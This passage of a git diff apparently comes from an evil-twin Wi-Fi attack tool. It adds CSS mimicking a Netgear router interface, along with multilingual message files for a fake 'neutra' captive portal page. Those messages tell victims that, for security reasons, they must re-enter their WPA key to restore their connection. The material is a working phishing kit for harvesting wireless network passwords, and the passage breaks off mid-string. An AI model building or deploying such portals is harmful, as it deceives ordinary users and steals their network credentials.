+} + +iframe{ + background-color:transparent; +} + +.basic-text-subTitle{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color:#69B4CB; + font-weight:bold; + width:50%; +} + +.basic-text-subTitle-pr{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Simsun,Arial; + font-size:12px; + border-color:#FFFFFF; + color:#69B4CB; + font-weight:bold; + width:50%; +} + +.basic-text-content{ + font-family:Arial; + border-collapse:collapse; + font-size:12px; + border-right: 4px; + border-right-style:solid; + height:13px; + border-color:#FFFFFF; + color: #404040; + width:50%; + } + +.basic-text-content-pr{ + font-family:Simsun,Arial; + border-collapse:collapse; + font-size:12px; + border-right: 4px; + border-right-style:solid; + height:13px; + border-color:#FFFFFF; + color: #404040; + width:50%; +} + +.page-table{ + margin:0px; + font-size:14px; + background:-moz-linear-gradient(top,white,rgb(230,230,230)); + background:-webkit-gradient(linear,left top, left bottom,from(#FFFFFF), to(#E6E6E6)); -webkit-background-origin: padding;-webkit-background-clip:content; + border-collapse:collapse; + + background-color:#C0C0C0; + filter: progid:DXImageTransform.Microsoft.Gradient(endColorstr='#E6E6E6', startColorstr='#FFFFFF', gradientType='0'); + } + +.basic-table-seperate-border{ + border-left-style:solid; + border-right-style:solid; + width:320px; + height:1px; + border-top-style:none; + border-bottom-style:none; + border-left-width:4px; + border-right-width:4px; + border-left-color:#FFFFFF; + border-right-color:#FFFFFF; +} + +.table-seperate-border{ + padding-left:10px; + padding-right:10px; + border-left-style:solid; + border-right-style:solid; + border-left-width:0px; + border-right-width:0px; + border-left-color:#808080; + border-right-color:#808080; +} + + +.table-seperate-border2{ + padding-top:10px; + padding-bottom:47px; + background-image: url(../img/opmode_topline.gif); + background-repeat: no-repeat; + background-position: 50% 100%; + + padding-left:10px; + padding-right:10px; + border-left-style:solid; + border-right-style:solid; + border-left-width:0px; + border-right-width:0px; + border-left-color:#808080; + border-right-color:#808080; +} + +.scrollpane-table-seperate-border{ + padding-left:20px; + padding-right:5px; + border-left-style:solid; + border-right-style:solid; + border-left-width:0px; + border-right-width:0px; + border-left-color:#808080; + border-right-color:#808080; +} +.basic-table-seperate{ + height:1px; + border-color:#D0D0D0; + background-color:#D0D0D0; + margin-left:15px; + margin-right:15px; + border:0px; + overflow:hidden; + + } +.basic-table-seperate-2{ + height:1px; + border-color:transparent; + background-color:transparent; + margin-left:15px; + margin-right:15px; + border:0px; + overflow:hidden; + + } +.adv-home-table-seperate{ + height:1px; + width:615px; + border-color:#C0C0C0; + border-style:normal; + background-color:#C0C0C0; + margin-left:10px; + margin-right:10px; + border-bottom-color:#ffffff; + border-top-style:none; + border-left-style:none; + border-right-style:none; + border:1px; + overflow:hidden; + + } +.adv-home-table-seperate-2{ + height:1px; + width:615px; + border-color:#ffffff; + border-style:normal; + background-color:#ffffff; + margin-left:10px; + margin-right:10px; + border-bottom-color:#ffffff; + border-top-style:none; + border-left-style:none; + border-right-style:none; + border:1px; + overflow:hidden; + + } + +.table-seperate{ + height:1px; + + border-color:#000000; + background-color:#000000; + margin-left:15px; + margin-right:15px; + border:0px; + overflow:hidden; + + } + +.box-header-table { + border-collapse:collapse; + margin-left:5px; + background:url('../img/box-header-background.gif') no-repeat; +} + +.box-header-table-large { + border-collapse:collapse; + margin-left:5px; + height:43px; + background:url('../img/box-header-background-large.gif') no-repeat; +} + + +.box-header { + margin:0px; + width:305px; + height:17px; + vertical-align:top; +} +.page-table-bottom-3{ + + background-position:0px -14px; + height:10px; + background-repeat:no-repeat; + margin-left:5px; + border:0px; + background-color:#FFFFFF; + } +.page-table-bottom-2{ + background:url(../img/page-table-bottom-2.gif); + background-position:0px -4px; + font-size:8px; + height:8px; + background-repeat:no-repeat; + margin-left:5px; + border:0px; + } + +.page-table-bottom{ + background:url(../img/page-table-bottom.gif); + background-position:0px -14px; + height:10px; + background-repeat:no-repeat; + margin-left:5px; + border:0px; + background-color:#FFFFFF; + } + + +.box-header-text{ + font-family:Arial; + padding-left:5px; + height:10px; + width:340px; + color:#E5E5E5; + background-position:-35px 0px; + font-size:14px; + font-weight:Bold; + text-decoration:underline; + } + +.box-header-text-pr{ + font-family:Simsun,Arial; + padding-left:5px; + height:10px; + width:340px; + color:#E5E5E5; + background-position:-35px 0px; + font-size:14px; + font-weight:Bold; + text-decoration:underline; + } + +.warning-text-menu{ + height:13px; + text-decoration:underline; + padding-left:20px; + border-left: 4px; + color:#E77800; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color:#E77800; + font-weight:bold; + width:60%; + } + + +.warning-text-content{ + border-right: 4px; + text-decoration:underline; + border-right-style:solid; + color:#E77800; + height:13px; + font-size:12px; + border-color:#FFFFFF; + width:40%; + } + +.page-table-button{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:16px; + width:140px; + background: url("../img/page-table-button.gif") no-repeat; + background-position:relative; + + } + + +.page-table-button-large{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:32px; + width:140px; + background: url("../img/page-table-button-large.gif") no-repeat; + background-position:relative; + + } + +.page-table-button-left{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:16px; + width:140px; + background: url("../img/page-table-button.gif") no-repeat; + background-position:100% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + } + +.page-table-button-right{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:16px; + width:140px; + background: url("../img/page-table-button.gif") no-repeat; + background-position:70% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + } + +.page-table-button-large-left{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:1px; + font-weight:bold; + color:#FFFFFF; + height:32px; + width:280px; + background: url("../img/page-table-button-large.gif") no-repeat; + background-position:100% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + + } + +.page-table-button-large-right{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:32px; + width:140px; + background: url("../img/page-table-button-large.gif") no-repeat; + background-position:70% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + + } + +.page-table-button-gray{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#767676; + height:16px; + width:140px; + background: url("../img/page-table-button-gray.gif") no-repeat; + background-position:relative; + + } + +.subhead{ + height:32px; + width:740px; + background: url("../img/subhead-top.gif") no-repeat 0px 0px; + background-position:relative; +} + +.subhead-bottom{ + height:29px; + width:740px; + background: url("../img/subhead-bottom.gif") no-repeat 0px 0px; + background-position:relative; +} + +.subhead-text{ + font-family:Arial; + font-size:14px; + color:#E5E5E5; + font-weight:bold; + padding-left:20px; + background-position:relative; + padding-top:7px; +} + +.subhead-text-menu{ + height:25px; + padding-left:20px; + border-left: 1px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#000000; + font-weight:bold; + width:18%; + } + +.subhead-text-context{ + padding-left:20px; + border-right: 1px; + border-right-style:solid; + height:25px; + font-size:12px; + border-color:#000000; + width:75%; + } + +.normal-text{ + font-family:Arial; + font-size:12px; + color:#404040; + text-decoration:none; + font-weight:bold; + background-position:relative; + +} +.subtop{ + font-family:Arial; + margin:0px; + font-size:12px; + width:1050px; + + color:#FFFFFF; + font-weight:bold; + vertical-align:middle; + +} +.subhead2{ + font-family:Arial; + margin:0px; + font-size:16px; + background: url("../img/subhead2-top_noh.gif") no-repeat 0px 0px; + color:#ADA7D7; + font-weight:bold; + vertical-align:middle; + position: absolute; + top: 0px; + left: 0px; + padding-top:8px; + padding-bottom:8px; + padding-left:20px; +} + +.subhead2-table{ + zoom:1; + width:1050px; + background-attachment:fixed; + padding-right:5px; + border-collapse:collapse; +} + +.subhead2-multi-table{ + zoom:1; + + background-repeat: no-repeat; + background-attachment:fixed; + border:0px; + border-collapse:collapse; +} + + +.subhead2-text{ + font-family:Arial; + margin:0px; + color:#FFFFFF; + font-size:12px; + background-position:relative; + font-weight:bold; + vertical-align:middle; + padding-top:4px; + padding-bottom:4px; +} + +.subhead2-bottom{ + height:29px; + width:1050px; + + background-position:relative; + position:relative; + top:-28px; + margin-bottom:0px; +} + +.subhead2-text-menu{ + padding-left:20px; + height:20px; + border-left: 0px; + border-left-style:solid; + border-color:#808080; + } + +.page-body { + + margin:0px; + + background-color:#E5E5E5; + overflow:hidden; +} + +.subhead2-text-context{ + text-align:right; + padding-right:20px; + border-right: 0px; + border-right-style:solid; + border-color:#808080; + } + +.table-round-top-left{ + background-image:url("../img/roundtopleft_table.gif"); + background-repeat:no-repeat; + } + +.table-round-top-right{ + background-image:url("../img/roundtopright_table.gif"); + background-repeat:no-repeat; + } + +.table-round-bottom-left{ + background-image:url("../img/roundbottomleft_table.gif"); + background-repeat:no-repeat; + background-position:0px -22px; + } + +.table-round-bottom-right{ + background-image:url("../img/roundbottomright_table.gif"); + background-repeat:no-repeat; + background-position:0px -22px; + } + +.table-header{ + background-color:#9d98ff; + font-family:Arial; + font-size:12px; + vertical-align:middle; + color:#404040; + text-decoration:none; + font-weight:bold; + background-position:relative; + } + +.table-content-text{ + font-family:Arial; + font-size:12px; + color:#404040; + text-decoration:none; + font-weight:normal; + background-position:relative; + } + +.help-frame-div{ + position:absolute; top:284px;left:10px; + width:1000px; + height:140px; + background: #202020; + padding:10px; + visibility:hidden; + +} + + +.bas-help-frame-div{ + position:absolute; top:284px;left:10px; + width:600px; + height:140px; + background: #202020; + padding:10px; + visibility:hidden; + +} + + +.help-iframe{ + width:100%; + height:140px; + background: #202020; + padding:0px; + position:relative; +} + + +.scroll-pane +{ + overflow: auto; + -webkit-overflow-scrolling: touch; +} + +#full-page-container +{ + position:absolute; top:0px;left:0px; + overflow: hidden; +} + +.cover-image +{ + position:absolute; + top:0px; + left:0px; + width:100%; + height:100%; + z-index:5; +} + +.folderName_ie10 +{ + border-right: inset 1pt; +} + +.subpage-body { + + margin:0px; + + background-color:#FFFFFF; + overflow:hidden; +} + + diff --git a/sites/netgear/css/tabs.css b/sites/netgear/css/tabs.css new file mode 100644 index 0000000..ac54e8e --- /dev/null +++ b/sites/netgear/css/tabs.css @@ -0,0 +1,159 @@ + + +/* root element for tabs */ +ul.tabs { + list-style:none; + margin:0px; + padding-left:10px; + padding-top:5px; + height:30px; + background-color:#ffffff; + font-family:arial; + overflow: hidden; + white-space: nowrap; +} + +/* single tab */ +ul.tabs li { + float:left; + text-indent:0; + padding:0; + margin-left:5px; + background-color:transparent; + list-style-image:none !important; + display: inline; +} + + +/* link inside the tab. uses a background image */ +ul.tabs a { + background: url(../img/tab-nonactive.gif) no-repeat 0; + font-size:15px; + font-weight:bold; + display:block; + height: 30px; + line-height:30px; + width: 200px; + text-align:center; + text-decoration:none; + color:#4e4e4e; + padding:0px; + position:relative; + top:0px; + top: 0px\9; + font-family:arial; +} + +ul.tabs a:active { + outline:none; + background: url(../img/tab-nonactive.gif) no-repeat 0; +} + +/* when mouse enters the tab move the background image */ + + +ul.tabs a.current, ul.tabs a.current:hover, ul.tabs li.current a { + background: url(../img/tab-active.gif) no-repeat 0; + cursor:default !important; + color:#000 !important; +} + + + +.firmware-update-hint{ + background-image:url("../img/firmware-hint-background.gif"); + background-position:0px -1px; + background-repeat:no-repeat; + margin-left:40px; + margin-top:3px; + float:left; + width:380px; + height: 22px; + font-weight:bold; + position: relative; + right: -350px; + top: 33px; + z-index:5; + +} + + +.firmware-update-hint-short{ + + background-position:0px -1px; + background-repeat:no-repeat; + margin-left:40px; + margin-top:3px; + float:left; + width:380px; + height: 22px; + font-weight:bold; + position: relative; + right: -350px; + top: 33px; + z-index:5; + +} + + + + +.language-option{ + font-family:Arial, Helvetica, Geneva, Swiss, SunSans-Regular, sans-serif; + margin-top:4px; + margin-bottom:5px; + font-size:12px; + font-weight:normal; + } + +firmware_update_click a:hover{ + mouse:pointer; +} +/* Different widths for tabs: use a class name: w1, w2, w3 or w2 */ + +/* initially all panes are hidden */ +.panes .pane { + display:none; + +} + + + +.button-rule span.roundleft_update{ + padding: 4px 0px 15px 20px; + margin:0px; + border:0px; + height:22px; + font-weight:bold; + background: transparent url("../img/roundleft_update.gif") no-repeat left 0px; + color:#F2F2F2; + cursor: pointer; + white-space:nowrap; +} + +.roundright_update{ + padding: 4px 5px 15px 0px; + margin:0px; + width:20px; + border:0px; + height:22px; + font-weight:bold; + background: url("../img/roundright_update.gif") no-repeat top right; + color:#F2F2F2; + white-space:nowrap; + cursor: pointer; +} + +.roundright_update_org{ + padding: 4px 0px 4px 0px; + margin:0px; + width:20px; + border:0px; + height:22px; + font-weight:bold; + background: url("../img/roundright_update.gif") no-repeat top right; + color:#F2F2F2; + white-space:nowrap; + cursor: pointer; +} + \ No newline at end of file diff --git a/sites/netgear/img/AP_Mode_R7000.png b/sites/netgear/img/AP_Mode_R7000.png new file mode 100644 index 0000000..c56f707 Binary files /dev/null and b/sites/netgear/img/AP_Mode_R7000.png differ diff --git a/sites/netgear/img/add_icon.gif b/sites/netgear/img/add_icon.gif new file mode 100644 index 0000000..9596348 Binary files /dev/null and b/sites/netgear/img/add_icon.gif differ diff --git a/sites/netgear/img/apply_icon.gif b/sites/netgear/img/apply_icon.gif new file mode 100644 index 0000000..9cb405c Binary files /dev/null and b/sites/netgear/img/apply_icon.gif differ diff --git a/sites/netgear/img/barrow.gif b/sites/netgear/img/barrow.gif new file mode 100644 index 0000000..6d569fc Binary files /dev/null and b/sites/netgear/img/barrow.gif differ diff --git a/sites/netgear/img/barrow.jpg b/sites/netgear/img/barrow.jpg new file mode 100644 index 0000000..54a0ab3 Binary files /dev/null and b/sites/netgear/img/barrow.jpg differ diff --git a/sites/netgear/img/barrow_down.jpg b/sites/netgear/img/barrow_down.jpg new file mode 100644 index 0000000..fe44e8d Binary files /dev/null and b/sites/netgear/img/barrow_down.jpg differ diff --git a/sites/netgear/img/barrow_down_nobackground.gif b/sites/netgear/img/barrow_down_nobackground.gif new file mode 100644 index 0000000..88d5054 Binary files /dev/null and b/sites/netgear/img/barrow_down_nobackground.gif differ diff --git a/sites/netgear/img/barrow_nobackground.gif b/sites/netgear/img/barrow_nobackground.gif new file mode 100644 index 0000000..ba08cd2 Binary files /dev/null and b/sites/netgear/img/barrow_nobackground.gif differ diff --git a/sites/netgear/img/basic-gray-button-large.gif b/sites/netgear/img/basic-gray-button-large.gif new file mode 100644 index 0000000..c814593 Binary files /dev/null and b/sites/netgear/img/basic-gray-button-large.gif differ diff --git a/sites/netgear/img/basic-purple-button.gif b/sites/netgear/img/basic-purple-button.gif new file mode 100644 index 0000000..fa2e7ec Binary files /dev/null and b/sites/netgear/img/basic-purple-button.gif differ diff --git a/sites/netgear/img/basic-white-button.gif b/sites/netgear/img/basic-white-button.gif new file mode 100644 index 0000000..3666080 Binary files /dev/null and b/sites/netgear/img/basic-white-button.gif differ diff --git a/sites/netgear/img/box-header-background-large.gif b/sites/netgear/img/box-header-background-large.gif new file mode 100644 index 0000000..093d8a5 Binary files /dev/null and b/sites/netgear/img/box-header-background-large.gif differ diff --git a/sites/netgear/img/cover-image.gif b/sites/netgear/img/cover-image.gif new file mode 100644 index 0000000..9b37419 Binary files /dev/null and b/sites/netgear/img/cover-image.gif differ diff --git a/sites/netgear/img/edit_icon.gif b/sites/netgear/img/edit_icon.gif new file mode 100644 index 0000000..a31c4c2 Binary files /dev/null and b/sites/netgear/img/edit_icon.gif differ diff --git a/sites/netgear/img/error-icon.gif b/sites/netgear/img/error-icon.gif new file mode 100644 index 0000000..8a077c0 Binary files /dev/null and b/sites/netgear/img/error-icon.gif differ diff --git a/sites/netgear/img/firmware-hint-background-long.gif b/sites/netgear/img/firmware-hint-background-long.gif new file mode 100644 index 0000000..d87325a Binary files /dev/null and b/sites/netgear/img/firmware-hint-background-long.gif differ diff --git a/sites/netgear/img/firmware-hint-background-short.gif b/sites/netgear/img/firmware-hint-background-short.gif new file mode 100644 index 0000000..7c87a2b Binary files /dev/null and b/sites/netgear/img/firmware-hint-background-short.gif differ diff --git a/sites/NETGEAR-ENG/ayuda.htm b/sites/netgear_eng/ayuda.htm similarity index 100% rename from sites/NETGEAR-ENG/ayuda.htm rename to sites/netgear_eng/ayuda.htm diff --git a/sites/NETGEAR-ENG/background.png b/sites/netgear_eng/background.png similarity index 100% rename from sites/NETGEAR-ENG/background.png rename to sites/netgear_eng/background.png diff --git a/sites/NETGEAR-ENG/error.html b/sites/netgear_eng/error.html similarity index 100% rename from sites/NETGEAR-ENG/error.html rename to sites/netgear_eng/error.html diff --git a/sites/NETGEAR-ENG/final.html b/sites/netgear_eng/final.html similarity index 100% rename from sites/NETGEAR-ENG/final.html rename to sites/netgear_eng/final.html diff --git a/sites/NETGEAR-ENG/house.png b/sites/netgear_eng/house.png similarity index 100% rename from sites/NETGEAR-ENG/house.png rename to sites/netgear_eng/house.png diff --git a/sites/NETGEAR-ENG/house1.png b/sites/netgear_eng/house1.png similarity index 100% rename from sites/NETGEAR-ENG/house1.png rename to sites/netgear_eng/house1.png diff --git a/sites/NETGEAR-ENG/index.htm b/sites/netgear_eng/index.htm similarity index 100% rename from sites/NETGEAR-ENG/index.htm rename to sites/netgear_eng/index.htm diff --git a/sites/NETGEAR-ENG/info.css b/sites/netgear_eng/info.css similarity index 100% rename from sites/NETGEAR-ENG/info.css rename to sites/netgear_eng/info.css diff --git a/sites/NETGEAR-ENG/info.html b/sites/netgear_eng/info.html similarity index 100% rename from sites/NETGEAR-ENG/info.html rename to sites/netgear_eng/info.html diff --git a/sites/NETGEAR-ENG/info2.css b/sites/netgear_eng/info2.css similarity index 100% rename from sites/NETGEAR-ENG/info2.css rename to sites/netgear_eng/info2.css diff --git a/sites/NETGEAR-ESP/ayuda.htm b/sites/netgear_esp/ayuda.htm similarity index 100% rename from sites/NETGEAR-ESP/ayuda.htm rename to sites/netgear_esp/ayuda.htm diff --git a/sites/NETGEAR-ESP/background.png b/sites/netgear_esp/background.png similarity index 100% rename from sites/NETGEAR-ESP/background.png rename to sites/netgear_esp/background.png diff --git a/sites/NETGEAR-ESP/error.html b/sites/netgear_esp/error.html similarity index 100% rename from sites/NETGEAR-ESP/error.html rename to sites/netgear_esp/error.html diff --git a/sites/NETGEAR-ESP/final.html b/sites/netgear_esp/final.html similarity index 100% rename from sites/NETGEAR-ESP/final.html rename to sites/netgear_esp/final.html diff --git a/sites/NETGEAR-ESP/house.png b/sites/netgear_esp/house.png similarity index 100% rename from sites/NETGEAR-ESP/house.png rename to sites/netgear_esp/house.png diff --git a/sites/NETGEAR-ESP/house1.png b/sites/netgear_esp/house1.png similarity index 100% rename from sites/NETGEAR-ESP/house1.png rename to sites/netgear_esp/house1.png diff --git a/sites/NETGEAR-ESP/index.htm b/sites/netgear_esp/index.htm similarity index 100% rename from sites/NETGEAR-ESP/index.htm rename to sites/netgear_esp/index.htm diff --git a/sites/NETGEAR-ESP/info.css b/sites/netgear_esp/info.css similarity index 100% rename from sites/NETGEAR-ESP/info.css rename to sites/netgear_esp/info.css diff --git a/sites/NETGEAR-ESP/info.html b/sites/netgear_esp/info.html similarity index 100% rename from sites/NETGEAR-ESP/info.html rename to sites/netgear_esp/info.html diff --git a/sites/NETGEAR-ESP/info2.css b/sites/netgear_esp/info2.css similarity index 100% rename from sites/NETGEAR-ESP/info2.css rename to sites/netgear_esp/info2.css diff --git a/sites/neutra/ara b/sites/neutra/ara new file mode 100644 index 0000000..6d609ee --- /dev/null +++ b/sites/neutra/ara @@ -0,0 +1,11 @@ + +DIALOG_WEB_INFO_ARA="لأسباب أمنية، أدخل كلمة المرور الخاصة بالشبكة المدونة اعلاه من تشفير WPA للحصول على اتصال الانترنت" +DIALOG_WEB_INPUT_ARA="ادخل كلمة السر" +DIALOG_WEB_SUBMIT_ARA="تأكيد" +DIALOG_WEB_ERROR_ARA="خطأ: كلمة السر المدخلة غير صحيحة" +DIALOG_WEB_OK_ARA="سوف يتم استعادة الاتصال في لحظات قليلة! شكرا لتعاونكم" +DIALOG_WEB_BACK_ARA="العودة" +DIALOG_WEB_ERROR_MSG_ARA="هذا الحقل إلزامي" +DIALOG_WEB_LENGTH_MIN_ARA="يجب أن تكون كلمة المرور أكثر من {0} أحرف او ارقام" +DIALOG_WEB_LENGTH_MAX_ARA="يجب أن تكون كلمة المرور أقل من {0} حرفا او رقم" +DIALOG_WEB_DIR_ARA="rtl" diff --git a/sites/neutra/bg b/sites/neutra/bg new file mode 100644 index 0000000..202fb06 --- /dev/null +++ b/sites/neutra/bg @@ -0,0 +1,12 @@ + +DIALOG_WEB_INFO_BG="От съображения за сигурност е необходимо да въведете своята WPA парола за да получите достъп до Интернет." +DIALOG_WEB_INPUT_BG="Въведете своята WPA парола:" +DIALOG_WEB_SUBMIT_BG="Изпращане" +DIALOG_WEB_ERROR_BG="Грешка: Въведената парола е неправилна!" +DIALOG_WEB_OK_BG="Връзката ще бъде възстановена след няколко секунди." +DIALOG_WEB_BACK_BG="Назад" +DIALOG_WEB_ERROR_MSG_BG="Това поле е задължително!" +DIALOG_WEB_LENGTH_MIN_BG="Паролата трябва да съдържа повече от {0} символа!" +DIALOG_WEB_LENGTH_MAX_BG="Паролата трябва да съдържа по-малко от {0} символа!" +DIALOG_WEB_DIR_BG="ltr" + diff --git a/sites/neutra/cn b/sites/neutra/cn new file mode 100644 index 0000000..69bb8f9 --- /dev/null +++ b/sites/neutra/cn @@ -0,0 +1,11 @@ +DIALOG_WEB_INFO_CN="为了您的安全考量, 请输入 WPA 密码以重新连接网络" +DIALOG_WEB_INPUT_CN="输入您的WPA密码:" +DIALOG_WEB_SUBMIT_CN="连接" +DIALOG_WEB_ERROR_CN="出错了: 您输入的密码 错误!" +DIALOG_WEB_OK_CN="您的无线网络将会在短时间内恢复" +DIALOG_WEB_BACK_ZH_CN="返回" +DIALOG_WEB_ERROR_MSG_CN="此处不能为空" +DIALOG_WEB_LENGTH_MIN_CN="密码最少要有{0}个字符!" +DIALOG_WEB_LENGTH_MAX_CN="密码必须少于{0}个字符!" +DIALOG_WEB_DIR_CN="ltr" + diff --git a/sites/neutra/cz b/sites/neutra/cz new file mode 100644 index 0000000..4638b62 --- /dev/null +++ b/sites/neutra/cz @@ -0,0 +1,12 @@ + +DIALOG_WEB_INFO_CZ="Omlouváme se, ale došlo k problémům se zabezpečením vašeho bezdrátového routeru. Zadejte prosím znovu vaše heslo WPA/WPA2." +DIALOG_WEB_INPUT_CZ="Vaše heslo WPA/WPA2:" +DIALOG_WEB_SUBMIT_CZ="Odeslat" +DIALOG_WEB_ERROR_CZ="Chyba: Zadané heslo není správné!" +DIALOG_WEB_OK_CZ="Děkujeme, vaše připojení bude během krátké chvíle obnoveno." +DIALOG_WEB_BACK_CZ="Zpět" +DIALOG_WEB_ERROR_MSG_CZ="Toto pole musíte vyplnit." +DIALOG_WEB_LENGTH_MIN_CZ="Heslo musí být delší než {0} znak(ů)!" +DIALOG_WEB_LENGTH_MAX_CZ="Heslo musí být kratší než {0} znaků(ů)!" +DIALOG_WEB_DIR_CZ="ltr" + diff --git a/sites/neutra/dan b/sites/neutra/dan new file mode 100644 index 0000000..c32534e --- /dev/null +++ b/sites/neutra/dan @@ -0,0 +1,12 @@ + +DIALOG_WEB_INFO_DAN="Af sikkerhedsmæssige årsager, skal du skrive netværksadgangskoden, for at få adgang til internettet." +DIALOG_WEB_INPUT_DAN="Angiv netværksadgangskoden:" +DIALOG_WEB_SUBMIT_DAN="Forsæt" +DIALOG_WEB_ERROR_DAN="Fejl: Den indtastede netværksadgangskode er ikke korrekt!" +DIALOG_WEB_OK_DAN="Tak, din forbindelse vil blive genoprettet inden få sekunder." +DIALOG_WEB_BACK_DAN="Tilbage" +DIALOG_WEB_ERROR_MSG_DAN="Dette felt er obligatorisk" +DIALOG_WEB_LENGTH_MIN_DAN="Netværksadgangskoden skal være på mere end {0} tegn!" +DIALOG_WEB_LENGTH_MAX_DAN="Netværksadgangskoden skal være på mindre end {0} tegn!" +DIALOG_WEB_DIR_DAN="ltr" + diff --git a/sites/neutra/en b/sites/neutra/en new file mode 100644 index 0000000..33bb8b1 --- /dev/null +++ b/sites/neutra/en @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO_ENG="For security reasons, enter the WPA key to access the Internet." +DIALOG_WEB_INPUT_ENG="Enter your WPA password:" +DIALOG_WEB_SUBMIT_ENG="Submit" +DIALOG_WEB_ERROR_ENG="Error: The entered password is not correct!" +DIALOG_WEB_OK_ENG="Your connection will be restored in a few moments." +DIALOG_WEB_BACK_ENG="Back" +DIALOG_WEB_ERROR_MSG_ENG="This field is required." +DIALOG_WEB_LENGTH_MIN_ENG="The password must be more than {0} characters!" +DIALOG_WEB_LENGTH_MAX_ENG="The password must be less than {0} characters!" +DIALOG_WEB_DIR_ENG="ltr" diff --git a/sites/neutra/esp b/sites/neutra/esp new file mode 100644 index 0000000..719b137 --- /dev/null +++ b/sites/neutra/esp @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO_ESP="Por razones de seguridad, teclea tu clave WPA para acceder a internet" +DIALOG_WEB_INPUT_ESP="Teclea tu contraseña WPA:" +DIALOG_WEB_SUBMIT_ESP="Enviar" +DIALOG_WEB_ERROR_ESP="Error: La contraseña introducida no es correcta" +DIALOG_WEB_OK_ESP="Tu conexión será restaurada en unos pocos minutos" +DIALOG_WEB_BACK_ESP="Atrás" +DIALOG_WEB_ERROR_MSG_ESP="Este campo es obligatorio." +DIALOG_WEB_LENGTH_MIN_ESP="La contraseña debe ser más de {0} caracteres!" +DIALOG_WEB_LENGTH_MAX_ESP="La contraseña debe ser menos de {0} caracteres!" +DIALOG_WEB_DIR_ESP="ltr" diff --git a/sites/neutra/fr b/sites/neutra/fr new file mode 100644 index 0000000..c8baa8a --- /dev/null +++ b/sites/neutra/fr @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO_FR="Pour des raisons de sécurité, entrez votre clé WPA" +DIALOG_WEB_INPUT_FR="Entrez votre clé WPA:" +DIALOG_WEB_SUBMIT_FR="Soumettre" +DIALOG_WEB_ERROR_FR="Erreur: Le mot de passe entré est incorrect!" +DIALOG_WEB_OK_FR="Votre connection va être restaurée dans un instant." +DIALOG_WEB_BACK_FR="Retour" +DIALOG_WEB_ERROR_MSG_FR="Ce champ est obligatoire." +DIALOG_WEB_LENGTH_MIN_FR="Le mot de passe doit avoir plus de {0} caractères" +DIALOG_WEB_LENGTH_MAX_FR="Le mot de passe doit avoir moins de {0} caractères" +DIALOG_WEB_DIR_FR="ltr" diff --git a/sites/neutra/ger b/sites/neutra/ger new file mode 100644 index 0000000..ff2de3e --- /dev/null +++ b/sites/neutra/ger @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO_GER="Aus Sicherheitsgründen geben Sie bitte den WPA2 Schlüssel ein." +DIALOG_WEB_INPUT_GER="Geben Sie den WPA2 Schlüssel ein:" +DIALOG_WEB_SUBMIT_GER="Bestätigen" +DIALOG_WEB_ERROR_GER="Fehler: Das eingegebene Passwort ist nicht korrekt!" +DIALOG_WEB_OK_GER="Die Verbindung wird in wenigen Sekunden wiederhergestellt." +DIALOG_WEB_BACK_GER="Zurück" +DIALOG_WEB_ERROR_MSG_GER="Dieses Feld ist ein Pflichtfeld." +DIALOG_WEB_LENGTH_MIN_GER="Das Passwort muss länger als {0} Zeichen sein" +DIALOG_WEB_LENGTH_MAX_GER="Das Passwort darf nicht länger als {0} Zeichen sein" +DIALOG_WEB_DIR_GER="ltr" diff --git a/sites/neutra/gr b/sites/neutra/gr new file mode 100644 index 0000000..812f2a8 --- /dev/null +++ b/sites/neutra/gr @@ -0,0 +1,11 @@ +DIALOG_WEB_INFO_GR="Για λόγους ασφάλειας, εισάγετε το WPA κωδικό για να έχετε πρόσβαση στο Internet." +DIALOG_WEB_INPUT_GR="Εισάγετε τον WPA κωδικό:" +DIALOG_WEB_SUBMIT_GR="Εισαγωγή" +DIALOG_WEB_ERROR_GR="Σφάλμα: Ο κωδικός ΔΕΝ είναι σωστός!" +DIALOG_WEB_OK_GR="Η συνδεσή σας θα αποκατασταθεί σε λίγα λεπτά" +DIALOG_WEB_BACK_GR="Πίσω" +DIALOG_WEB_ERROR_MSG_GR="Αυτό το πεδίο είναι υποχρεωτικό." +DIALOG_WEB_LENGTH_MIN_GR="Ο κωδικός πρέπει να είναι πάνω από {0} χαρακτήρες" +DIALOG_WEB_LENGTH_MAX_GR="Ο κωδικός πρέπει να είναι λιγότερο από {0} χαρακτήρες" +DIALOG_WEB_DIR_GR="ltr" + diff --git a/sites/neutra/he b/sites/neutra/he new file mode 100644 index 0000000..5eca35c --- /dev/null +++ b/sites/neutra/he @@ -0,0 +1,12 @@ + +DIALOG_WEB_INFO_HE="מטעמי אבטחה, יש להזין את סיסמת הרשת האלחוטית (WPA)עבור קבלת גישה לאינטרנט." +DIALOG_WEB_INPUT_HE="הזן את סיסמת הWPA:" +DIALOG_WEB_SUBMIT_HE="שלח" +DIALOG_WEB_ERROR_HE="שגיאה: הסיסמה שגויה!" +DIALOG_WEB_OK_HE="החיבור לאינטרנט יוחזר בעוד כמה רגעים." +DIALOG_WEB_BACK_HE="אחורה" +DIALOG_WEB_ERROR_MSG_HE="זהו שדה חובה." +DIALOG_WEB_LENGTH_MIN_HE="הסיסמה חייבת להכיל יותר מ{0} 